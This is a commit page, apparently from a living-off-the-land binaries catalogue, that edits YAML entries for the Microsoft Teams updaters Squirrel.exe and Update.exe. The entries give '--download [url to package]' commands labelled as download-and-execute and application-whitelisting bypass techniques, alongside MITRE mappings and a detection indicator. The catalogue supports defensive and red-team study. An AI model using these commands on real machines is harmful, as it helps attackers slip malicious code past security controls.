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Code Issues Projects Releases Wiki Activity

Adjusted Squirrel and Update

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This commit is contained in:
Oddvar Moe 2019-06-27 17:12:23 +02:00
parent eb46e1757b
commit 60f55ee597
2 changed files with 26 additions and 28 deletions
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42
yml/OtherMSBinaries/squirrel.yml
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@ -1,47 +1,45 @@
Name: squirrel.exe
Description: Binary to update the existing installed Nuget/squirrel package
Author: User
Created: Installed date
Name: Squirrel.exe
Description: Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
Author: 'Reegun J (OCBC Bank) - @reegun21'
Created: '2019-06-26'
Commands:
- Command: squirrel.exe --download [url to package]
Description: The above binary will go that particular location and look for RELEASES file and download the nuget package.
Description: The above binary will go to url and look for RELEASES file and download the nuget package.
Usecase: Download and execute binary
Category: Execute
Privileges: User Privilege
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows OS
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: squirrel.exe --download [url to package]
Description: The above binary will go that particular location and look for RELEASES file and download the nuget package.
Description: The above binary will go to url and look for RELEASES file and download the nuget package.
Usecase: Download and execute binary
Category: AWL Bypass
Privileges: User Privilege
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 10
- Command: squirrel.exe --download [url to package]
Description: The above binary will go that particular location and look for RELEASES file and download the nuget package.
Description: The above binary will go to url and look for RELEASES file and download the nuget package.
Usecase: Download and execute binary
Category: Download
Privileges: User Privilege
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 10
OperatingSystem: Windows 7 and up with Microsoft Teams installed
Full_Path:
- Path: NA
- Path: %localappdata%\Microsoft\Teams\current\Squirrel.exe
- Path: '%localappdata%\Microsoft\Teams\current\Squirrel.exe'
Code_Sample:
- Code: https://github.com/jreegun/POC-s/tree/master/nuget-squirrel
- Code: https://github.com/jreegun/POC-s/tree/master/nuget-squirrel
Detection:
- IOC: NA
- IOC: NA
- IOC: Update.exe spawned an unknown process
Resources:
- Link: https://www.youtube.com/watch?v=rOP3hnkj7ls
- Link: https://twitter.com/reegun21/status/1144182772623269889
- Link: NA
Acknowledgement:
- Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
Acknowledgement:
- Person: Reegun J (OCBC Bank)
Handle: @reegun21
- Person: NA
Handle: NA
Handle: '@reegun21'
- Person: Adam
Handle: '@Hexacorn'
---

8
yml/OtherMSBinaries/update.yml
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@ -1,11 +1,11 @@
---
Name: Update.exe
Description: Binary to update the existing installed Nuget/squirrel package
Description: Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
Author: 'Oddvar Moe'
Created: '2019-06-26'
Commands:
- Command: Update.exe --download [url to package]
Description: The above binary will go that particular location and look for RELEASES file and download the nuget package.
Description: The above binary will go to url and look for RELEASES file and download the nuget package.
Usecase: Download and execute binary
Category: Execute
Privileges: User
@ -13,7 +13,7 @@ Commands:
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --download [url to package]
Description: The above binary will go that particular location and look for RELEASES file and download the nuget package.
Description: The above binary will go to url and look for RELEASES file and download the nuget package.
Usecase: Download and execute binary
Category: AWL Bypass
Privileges: User
@ -21,7 +21,7 @@ Commands:
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --download [url to package]
Description: The above binary will go that particular location and look for RELEASES file and download the nuget package.
Description: The above binary will go to url and look for RELEASES file and download the nuget package.
Usecase: Download and execute binary
Category: Download
Privileges: User